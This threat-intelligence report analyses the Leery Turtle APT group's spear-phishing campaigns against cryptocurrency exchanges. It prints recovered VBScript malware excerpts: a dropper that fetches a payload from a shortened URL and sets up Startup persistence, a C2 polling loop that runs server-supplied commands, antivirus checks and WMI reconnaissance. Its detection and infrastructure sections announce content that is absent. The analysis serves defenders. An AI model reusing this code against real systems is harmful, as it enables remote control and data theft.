Leery Turtle Threat Report

Report profile

Threat group summary

Introducing the Leery Turtle APT group

Leery Turtle is a threat group that has been active since at least late 2017. It targets cryptocurrency exchange companies globally and continuously carries out spear-phishing campaigns intended to infect selected targets with custom-written malware. The forensic analysis concludes that the group is systematically operated, persistent and funded.

Targets and capabilities

Every campaign observed in the report was directed at a cryptocurrency exchange company. Leery Turtle does not focus on a particular region; it targets businesses worldwide and predominantly selects people in technical and executive roles.

The group employs extensive reconnaissance. To identify vulnerable entry points, operators send decoy emails with non-malicious attachments and monitor which recipients open or download them. Available evidence also indicates that Leery Turtle profiles selected targets at an advanced level, including details of their private lives.

Attacks imitate commonly used file-storage services such as Google Drive and Microsoft OneDrive. The same mimicry appears in the domains used by the operators. Email spoofing is also used to make messages appear to come from a coworker.

Technical analysis of key attacks

Activity summary

A representative attack follows this sequence:

1. A password-protected PDF is sent together with an LNK shortcut that imitates a text file containing the PDF password.
2. When opened, the shortcut sends an HTTP request to a remote server through the Windows utility mshta.exe. The request downloads and executes the first-stage payload.
3. The attacker's web server responds with a VBScript payload. Additional server-side controls are present; for example, the server checks whether the User-Agent string matches MSHTA.
4. The observed web server consistently listens on TCP port 8080.
5. The first-stage payload gathers information about the infected system and sends it to the command-and-control server.
6. The C2 server returns a second-stage VBScript payload, which is saved under the %TEMP% directory.
7. The malware creates a shortcut named xBoxOne.lnk in the Startup directory to establish persistence.

Malware analysis

Initial LNK shortcut

The initial Password.txt.lnk file is a simple shortcut that downloads and executes VBScript code from a remote server through Microsoft's MSHTA system utility. The operators used the bit.ly URL-shortening service at each observed stage of the operation.

File dropping and persistence

The first-stage downloader contains Base64-encoded code. It decodes this content and writes a .vbs file under %TEMP%, then creates a second shortcut in the Startup directory for persistence. Representative logic recovered from the downloader is shown below.

ucr = "https://bit.ly/37W6fgx"
 
Set fob = CreateObject("Scripting.FileSystemObject")
flp = fob.GetSpecialFolder(2) & "\" & "Xbox" & ".l" & "nk"
Set tcl = wish.CreateShortcut(flp)
tcl.TargetPath = "msh" & "ta"
 
pf = fob.GetSpecialFolder(2) & "\mfesf.vbs"
Set btf = fob.OpenTextFile(pf, 2, True)
tcl.Arguments = ucr
btf.Write dbsc(ln)
btf.Close()

First-stage command retrieval

The decoded VBScript sends POST requests to the command-and-control server at regular intervals. When it receives a non-empty response, it executes the returned content.

On Error Resume Next
Randomize
 
If WScript.Arguments.Length > 0 Then
  uu = "http://" & WScript.Arguments.Item(0)
  Set whr = CreateObject("WinHttp.WinHttpRequest.5.1")
 
  Do While True
    rtc = ""
    tpc = uu & "?topic=s" & Int(1000 * Rnd + 9000)
    whr.Open "POST", tpc, False
    whr.Send "200"
 
    If whr.Status = 200 Then rtc = whr.ResponseText
    If rtc <> "" Then
      Execute(rtc)
      Exit Do
    End If
 
    WScript.Sleep 180 * 1000
  Loop
End If

Security-product checks

The malware enumerates processes through Windows Management Instrumentation and checks for several antivirus products. If Qihoo 360 Total Security is present, it deletes the Startup shortcut it created. The malware therefore avoids persisting on a system where that security product is detected.

Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pl = wmi.ExecQuery("Select * from Win32_Process")
 
For Each pi In pl
  tpl = tpl & LCase(pi.Name) & "|"
Next
 
If Instr(tpl, "kwsp" & "rot") > 0 Or Instr(tpl, "nppr" & "ot") > 0 Then
  ex = "cs"
End If
 
If Instr(tpl, "hudo" & "ngf") > 0 Or Instr(tpl, "qhs" & "afe") > 0 Then
  ln2 = " & del """ & flp & """"
Else
  tcl.Save
End If

Information gathering through WMI

The second-stage malware gathers extensive local-system information through WMI. The collected data is later sent to its command-and-control server. Network-adapter details include the description, MAC address, IP addresses, subnet masks, default gateway, DHCP server and DNS servers.

Set adapItems = ObjWMI.ExecQuery(
  "SELECT * FROM Win32_NetworkAdapterConfiguration",,48
)
 
For Each adapter In adapItems
  On Error Resume Next
  If Not IsNull(adapter.IPAddress) Then
    getInfo = getInfo & "Network Adapter:" & tab & adapter.Description & ent
    getInfo = getInfo & " MAC Address:" & tab & adapter.MACAddress & ent
    getInfo = getInfo & " IP Address:" & tab & Join(adapter.IPAddress, ",") & ent
    getInfo = getInfo & " Subnet Mask:" & tab & Join(adapter.IPSubnet, ",") & ent
    getInfo = getInfo & " Default Gateway:" & tab & Join(adapter.DefaultIPGateway, ",") & ent
    If adapter.DHCPEnabled = True Then
      getInfo = getInfo & " DHCP Servers:" & tab & adapter.DHCPServer & ent
    End If
    getInfo = getInfo & " DNS Server:" & tab & Join(adapter.DNSServerSearchOrder, ",") & ent
  End If
Next

The observed data sent to C2 included current time, username, hostname, operating-system name and version, installation and boot times, timezone, processor architecture, malware path, network-adapter information and a process listing. A representative record included:

Current Time: 12/3/2019 6:51:57 AM
Username: USER-PC\admin
Hostname: USER-PC
OS Name: Microsoft Windows 7 Professional 32-bit
OS Version: 6.1.7601
Install Date: 10/05/2017
Boot Time: 12/3/2019 5:48:54 AM
Time Zone: (UTC 0 hours) GMT Standard Time
CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz (x64)
Path: C:\Users\admin\AppData\Local\Temp\mfesf.vbs
Network Adapter: Intel(R) PRO/1000 MT Network Connection
MAC Address: 52:54:00:4A:04:AF
IP Address: 192.168.100.207, fe80::a179:b3ff:199:2314
Subnet Mask: 255.255.255.0, 64
Default Gateway: 192.168.100.2
DNS Server: 192.168.100.2

Command-and-control communication

The malware uses two communication methods to receive commands:

1. Simple communication: commands are returned directly in Base64-encoded form. C2 responses beginning with 23# use this method.
2. Dead-drop communication: the first C2 returns a second URL. The malware sends a GET request to that URL, and the second server responds with an encrypted payload and its decryption key. C2 responses beginning with 20# use this method. The report assesses this as a more resilient command mechanism.

Tactics, techniques and procedures

The observed behavior maps to the following MITRE ATT&CK techniques used at the time of publication.

Detection and mitigation

The report identifies the following detection opportunities:

Detection logic should be validated against the current environment before enforcement. Several technique identifiers in the original 2020 report use the ATT&CK naming and numbering current at publication time.

Appendix: observed infrastructure

The following domains were included in the report appendix as observed or related infrastructure.

These indicators are historical. Their presence in this archive does not establish current malicious ownership or activity.

Contact

The original 2020 report's historical office addresses and telephone details remain preserved in the downloadable PDF. For current enquiries, use the Cyber Struggle contact page.